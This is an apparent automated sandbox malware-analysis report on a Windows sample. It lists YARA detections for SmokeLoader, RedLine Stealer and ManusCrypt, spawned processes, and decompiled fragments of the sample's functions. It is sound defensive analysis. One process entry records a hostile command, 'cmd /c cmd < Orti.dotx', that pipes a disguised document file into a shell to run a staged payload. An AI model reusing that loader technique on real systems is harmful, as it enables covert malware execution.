00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000002.825615198.000002E4A1110000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Chebka, Description: Detects Chebka, Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000000.591398205.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_ManusCrypt, Description: Yara detected ManusCrypt, Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Chebka, Description: Detects Chebka, Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Trojan_Generic_a681f24a, Description: unknown, Source: 00000027.00000002.825281012.000002E4A1010000.00000040.00000001.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 2888, Parent PID: 6352

General

Target ID:	40
Start time:	15:55:32
Start date:	30/08/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	WerFault.exe //////
Imagebase:	0x820000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6448, Parent PID: 6352

General

Target ID:	41
Start time:	15:55:33
Start date:	30/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c cmd < Orti.dotx & ping -n 5 localhost
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1544, Parent PID: 6448

General

Target ID:	42
Start time:	15:55:33
Start date:	30/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: wtiivdwPID: 4184, Parent PID: 1084

General

Target ID:	43
Start time:	15:55:34
Start date:	30/08/2022
Path:	C:\Users\user\AppData\Roaming\wtiivdw
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\wtiivdw
Imagebase:	0x400000
File size:	297472 bytes
MD5 hash:	4DD5B94AF732FDAA38C731E6AB39BFAD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000002B.00000002.692013103.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000002B.00000002.708312204.0000000000AF8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000002B.00000003.634917152.0000000000AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6828, Parent PID: 6448

General

Target ID:	44
Start time:	15:55:34
Start date:	30/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1884, Parent PID: 564

General

Target ID:	45
Start time:	15:55:36
Start date:	30/08/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6ffff0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 6960, Parent PID: 5280COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	28%
Signature Coverage:	11.8%
Total number of Nodes:	93
Total number of Limit Nodes:	4

Executed Functions

Function 004017E2 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004017E2(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x004017e2

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction ID: ddaf0562df841adfab300f0276baae716c17d25714fd681a3a6e16616d485b4c
Opcode Fuzzy Hash: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction Fuzzy Hash: EC015233148208EBDB017AA59C41DA97729AB45754F30C537FA03791F1D67D8713A72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017E3 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E004017E3(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t8;
				char* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;
				void* _t24;
				void* _t26;

				_push(0x181b);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				L00401118(_t8, _t13, 0x61, _t19, _t20, _t24);
				_t14 = _a4;
				Sleep(0x1388);
				_t3 =  &_v8; // 0x1b68f34d
				_t9 = _t3;
				_push(_t9);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				L00401360(); // executed
				_t25 = _t9;
				if(_t9 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t17, _t18, _t19, _t26); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t16 =  *_t22;
				L00401118(_t11, _t14, _t16, _t19, _t20, _t25);
				return _t11;
			}

0x004017f1
0x004017f6
0x004017f9
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction ID: 1d0556d2ce3487287f662705d53e2785c513140bae9e3f24436a296874fe77da
Opcode Fuzzy Hash: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction Fuzzy Hash: 15017533108208F7D7017A958C42DAA3628AB45754F30C437BA03790F1D57DDB12676B

Uniqueness

Uniqueness Score: -1.00%

Function 004017EE Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E004017EE(void* __edi, void* __esi) {
				intOrPtr _t8;
				intOrPtr* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t25;
				intOrPtr* _t26;
				void* _t29;
				void* _t31;

				_t21 = __esi;
				_t19 = __edi;
				_push(0x181b);
				_t8 =  *_t25;
				_t26 = _t25 + 4;
				L00401118(_t8, _t13, 0x61, __esi, 0x1b68f351, _t29);
				_t14 =  *((intOrPtr*)(0x1b68f359));
				Sleep(0x1388);
				_t9 = 0x1b68f34d;
				_push(_t9);
				_push( *0x1B68F361);
				_push( *0x1B68F35D);
				_push(_t14); // executed
				L00401360(); // executed
				_t30 = _t9;
				if(_t9 != 0) {
					_push( *0x1B68F365);
					_push( *((intOrPtr*)(0x1b68f34d)));
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t18, _t19, _t21, _t31); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t17 =  *_t26;
				L00401118(_t11, _t14, _t17, _t21, 0x1b68f351, _t30);
				return _t11;
			}

0x004017ee
0x004017ee
0x004017f1
0x004017f6
0x004017f9
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction ID: 6a2648c31bf342f80e2744bc490c75df06b0a743f4722301b2fbabc3dba0a0aa
Opcode Fuzzy Hash: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction Fuzzy Hash: 54016733508304ABDB017AA18C42EA937289B45754F24C577BB13790F2D57DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401807 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E00401807(signed int __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr _t18;
				void* _t21;
				void* _t25;
				intOrPtr* _t27;
				signed char _t30;
				void* _t32;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx |  *(_t25 + 0x7b);
				_t30 = __edx |  *(_t25 + 0x7b);
				L00401118(_t9, _t14, 0x61, __esi, _t25, _t30);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t4 = _t25 - 4; // 0x1b68f34d
				_t10 = _t4;
				_push(_t10);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				L00401360(); // executed
				_t31 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					E00401432(_t15, _t20, _t21, _t23, _t32); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				_t12 = 0x181b;
				_push(0x61);
				_t18 =  *_t27;
				L00401118(_t12, _t15, _t18, _t23, _t25, _t31);
				return _t12;
			}

0x00401807
0x00401807
0x00401807
0x00401807
0x00401816
0x0040181b
0x00401823
0x00401826
0x00401826
0x00401829
0x0040182a
0x0040182d
0x00401830
0x00401831
0x00401836
0x00401838
0x0040183a
0x0040183d
0x00401840
0x00401841
0x00401842
0x00401842
0x0040184b
0x00401858
0x00401868
0x0040186a
0x00401877
0x00401880

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000000.00000002.388539731.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction ID: d1e85a843a3bf15b3ffbd62fd2fe31d474754e63a526ee7ed21e8696c92682af
Opcode Fuzzy Hash: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction Fuzzy Hash: 2FF04F33204208FBDB007BA18C42EAD3729AB45754F20C537BA13790F2D679CA12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00409A05 Relevance: 16.7, APIs: 11, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00409A62
_wprintf.LIBCMTD ref: 00409B74
_wscanf.LIBCMTD ref: 00409B7D
_wscanf.LIBCMTD ref: 00409B8A
__wremove.LIBCMTD ref: 00409B90
__wrename.LIBCMTD ref: 00409B97
_labs.LIBCMTD ref: 00409BB4
_abort.LIBCMTD ref: 00409BB9
_realloc.LIBCMTD ref: 00409BE0

Part of subcall function 0040A5F0: __realloc_dbg.LIBCMTD ref: 0040A604

_malloc.LIBCMTD ref: 00409BE6

Part of subcall function 0040A5C0: __nh_malloc_dbg.LIBCMTD ref: 0040A5D6

__wctomb_s_l.LIBCMTD ref: 00409BF0

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _wscanf$__nh_malloc_dbg__realloc_dbg__wctomb_s_l__wremove__wrename_abort_labs_malloc_memset_realloc_wprintf
String ID:
API String ID: 2019212891-0
Opcode ID: 607efe129bba57160719a6d2e91527784dcfd75c8179da774988a6eff9573b79
Instruction ID: 95e545d609e434e4a65173c428541e827aabeb150ffa349fa89c7e9665f42b39
Opcode Fuzzy Hash: 607efe129bba57160719a6d2e91527784dcfd75c8179da774988a6eff9573b79
Instruction Fuzzy Hash: AC514372502524BBC7157BA2AD49DDF3AACEF4A355B00403AF506B50A1DB385A41CBFE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD70 Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040ADEC
__heap_init.LIBCMTD ref: 0040ADF6

Part of subcall function 00419300: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040ADFB,00000001), ref: 00419316

_fast_error_exit.LIBCMTD ref: 0040AE04

Part of subcall function 0040AF50: ___crtExitProcess.LIBCMTD ref: 0040AF74

__mtinit.LIBCMTD ref: 0040AE0C
_fast_error_exit.LIBCMTD ref: 0040AE17
__RTC_Initialize.LIBCMTD ref: 0040AE29
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AE52
___wsetargv.LIBCMTD ref: 0040AE5C
__wsetenvp.LIBCMTD ref: 0040AE6F
__cinit.LIBCMTD ref: 0040AE84
__wwincmdln.LIBCMTD ref: 0040AEA1

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: faae8b3925ce16d75b52491d356703e95c8fed3203ad93bb1544898b9140c5b0
Instruction ID: c148ae80a6fec5dae84f06fb763bfcbcdfbf1501147f1e1b680501fb07021a56
Opcode Fuzzy Hash: faae8b3925ce16d75b52491d356703e95c8fed3203ad93bb1544898b9140c5b0
Instruction Fuzzy Hash: 424186B1D40308ABDB10ABB2ED02BDE76B5AB4431CF10013EF515A72C2EB7D5950CA9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADE5 Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040ADEC
__heap_init.LIBCMTD ref: 0040ADF6

Part of subcall function 00419300: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040ADFB,00000001), ref: 00419316

_fast_error_exit.LIBCMTD ref: 0040AE04

Part of subcall function 0040AF50: ___crtExitProcess.LIBCMTD ref: 0040AF74

__mtinit.LIBCMTD ref: 0040AE0C
_fast_error_exit.LIBCMTD ref: 0040AE17
__RTC_Initialize.LIBCMTD ref: 0040AE29
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AE52
___wsetargv.LIBCMTD ref: 0040AE5C
__wsetenvp.LIBCMTD ref: 0040AE6F
__cinit.LIBCMTD ref: 0040AE84
__wwincmdln.LIBCMTD ref: 0040AEA1

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: edfaf2ce7b67c34fc4343175d1df46b10dd90cabfdd387f201f77346cdd6f900
Instruction ID: 3c553b1acffd7059b927024cb990f6927cdf9c5e535d1855acba6a4513397da0
Opcode Fuzzy Hash: edfaf2ce7b67c34fc4343175d1df46b10dd90cabfdd387f201f77346cdd6f900
Instruction Fuzzy Hash: 1F3147F1D413059AEB10BBB2B9027DE72A1AB5030CF10013FF919672C3FA795994CA9B

Uniqueness

Uniqueness Score: -1.00%

Function 0093003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0093024D

Strings

cess, xrefs: 0093018D
kernel32.dll, xrefs: 0093008F, 00930095

Memory Dump Source

Source File: 00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 2a4967ee5142a996d5c0d737cca102e79779f3e3e496d179c8443f147342cee5
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C8527874A00229DFDB64CF58C994BACBBB5BF49304F1480D9E94DAB251DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040B397 Relevance: 7.8, APIs: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CrtCheckMemory.LIBCMTD ref: 0040B3BA
__heap_alloc_base.LIBCMTD ref: 0040B541
_memset.LIBCMT ref: 0040B689
_memset.LIBCMT ref: 0040B6A6
_memset.LIBCMT ref: 0040B6C1

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 83baf3bf52544653c8c3cb8d392a2988329be998636c848b27eed268b5239dd3
Instruction ID: 3a7933ca25cb78f0a7089567455c883b56018982cdfc39c6e9e2b36bf7bfdb46
Opcode Fuzzy Hash: 83baf3bf52544653c8c3cb8d392a2988329be998636c848b27eed268b5239dd3
Instruction Fuzzy Hash: 76A158B8A002049FDB14CF54EC91BAA77B1FB49304F24826AE9057B3D2D779A940CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00418DE0 Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00418E6B
__nh_malloc_dbg.LIBCMTD ref: 00418F97

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 04155ff7ede2320fc46315fdf4570a604971e1152a0df8f0343f59c7ee2628a0
Instruction ID: 337c3f627426636362c96c55a2c70e094b83fb7dda428fe3ac42415b8cff4247
Opcode Fuzzy Hash: 04155ff7ede2320fc46315fdf4570a604971e1152a0df8f0343f59c7ee2628a0
Instruction Fuzzy Hash: F9E10874E04249DFDB24CFA9C894A9DFBB1FB49314F24825ED8256B392C7349882CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00409517 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 429
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00409530
LoadLibraryW.KERNELBASE(00843380), ref: 00409857

Strings

h_D, xrefs: 0040962E

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: AllocLibraryLoadLocal
String ID: h_D
API String ID: 2056365281-4111959960
Opcode ID: 235e710fc222c5dd6515f8331ec6ddcbc04e3380799a55ea77900c1e304e06db
Instruction ID: 7d5c1149b4aeb08c39f3b424f5604de5ede1ddfc765cfa30b6d080a50acd97ec
Opcode Fuzzy Hash: 235e710fc222c5dd6515f8331ec6ddcbc04e3380799a55ea77900c1e304e06db
Instruction Fuzzy Hash: 79D1F4B6800259BFE7015BB0AEC8DAB776CFB09349B005436F646F2571DA388D84CB78

Uniqueness

Uniqueness Score: -1.00%

Function 00409416 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 00409511

Strings

h_D, xrefs: 0040941D

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: h_D
API String ID: 544645111-4111959960
Opcode ID: 518146e98a6818014bb143f96da1bbbf55ebc8abd13b629cb6ebc55bcc21ffa7
Instruction ID: ee3d1a56ef9a0140830d02e2aa31408b93403b1d16467a7449a12ed87dec6f6c
Opcode Fuzzy Hash: 518146e98a6818014bb143f96da1bbbf55ebc8abd13b629cb6ebc55bcc21ffa7
Instruction Fuzzy Hash: BD219E2840CAC4DBEB028778AD08B563E96572B748F4C00A991844A2B3D7FB116EC77F

Uniqueness

Uniqueness Score: -1.00%

Function 00409418 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 00409511

Strings

h_D, xrefs: 0040941D

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: h_D
API String ID: 544645111-4111959960
Opcode ID: f2dade1bc8a8c0c0391d7dfa27fd22c2dd51227feeff6b316c358f26f92a979d
Instruction ID: 7feafe851f591639ff33c82d96182018c3fec69599d3eec0fd92d3dfa13e4dbc
Opcode Fuzzy Hash: f2dade1bc8a8c0c0391d7dfa27fd22c2dd51227feeff6b316c358f26f92a979d
Instruction Fuzzy Hash: 82217F2840CAC4DBEB02C778AD08B563E96572B749F4C41A991844A2B3D7FB116EC77F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2FF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0040B2F9

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: f07ef76f78fc5f6a90826b69226016fb31cc949745b44c1531e3e942705e2f2b
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: FA01F6B1A04109EBDB14CF94D840BAE77B4EB48304F20856AFD05AB280D339EA51DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B70E Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0040B76D
_memset.LIBCMT ref: 0040B7B9

Memory Dump Source

Source File: 00000000.00000002.388567270.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: 85d4ba9b0f936cea8819c724563a9e2e959248d26ae0a6c03a02dbddaf1ae40c
Instruction ID: 90a1f36486e2260db6eee82b25ef9e5335dce80252c764b271fc484abb28dbb7
Opcode Fuzzy Hash: 85d4ba9b0f936cea8819c724563a9e2e959248d26ae0a6c03a02dbddaf1ae40c
Instruction Fuzzy Hash: 61118675A50208BBDB00DF95CC86F9E3365EB94714F20856AF909BB2C1D778EA50CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00930E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00930223,?,?), ref: 00930E19
SetErrorMode.KERNELBASE(00000000,?,?,00930223,?,?), ref: 00930E1E

Memory Dump Source

Source File: 00000000.00000002.388745923.0000000000930000.00000040.00001000.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
